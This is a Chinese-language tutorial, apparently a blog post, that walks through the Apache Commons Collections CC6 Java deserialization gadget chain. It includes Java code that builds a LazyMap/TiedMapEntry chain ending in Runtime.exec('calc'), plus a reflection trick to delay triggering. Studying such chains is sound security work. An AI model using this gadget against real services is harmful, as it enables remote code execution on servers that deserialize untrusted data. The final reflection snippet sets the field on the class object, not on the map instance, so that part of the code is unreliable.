前言
Java 8u71以后,sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑发生变化,导致cc1的链子在8u71之后无法使用。
所以cc6就是解决高版本的利用问题,依然是从上下文对LazyMap#get
的调用
调用链
1 2 3 4 5 6 7 8 9 10 11 12
| java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
|
在TiedMapEntry
的hashcode()
下调用getkey()
的``getvalue()`
1 2 3 4 5
| public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
|
1 2 3
| public Object getValue() { return map.get(key); }
|
这里的key
如果传入LazyMap
,就回到了CC1,后面的就都一样了
这里其实理解了CC5+URLDNS就可以解决CC6的流程
从原作者的流程中可以看到链子的入口就是在hashMap
处
所以前面的流程就是
1
| HashSet.readObject()->HashMap.put()->HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()
|
看到入口其实就能想到URLDNS
所以这一段的代码写下来就是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package com.ki10Moc;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class test1 { public static void main(String[] args) throws Exception { org.apache.commons.collections.Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Class.forName("java.lang.Runtime")), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map map = LazyMap.decorate(innerMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "ki10Moc"); HashMap finalmap = new HashMap(); finalmap.put(tiedMapEntry, "value");
} }
|
这里有点小问题,就是debug的时候会直接弹出计算器
原因是展示对象集合,IDEA会自动调用toString()
方法,可以在设置中关闭

还有个问题…
在Map,put()
的时候为了防止直接触发RCE
这里包装到map
的参数chainedTransformer
可以写成其他的
在LazyMap.decorate
的factory参数可以写成new ConstantTransformer("xxx")
或new ConstantTransformer(1)

后面再通过反射调用,修改factiry
的值为chainedTransformer
即
1 2 3 4
| Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMapClass, chainedTransformer);
|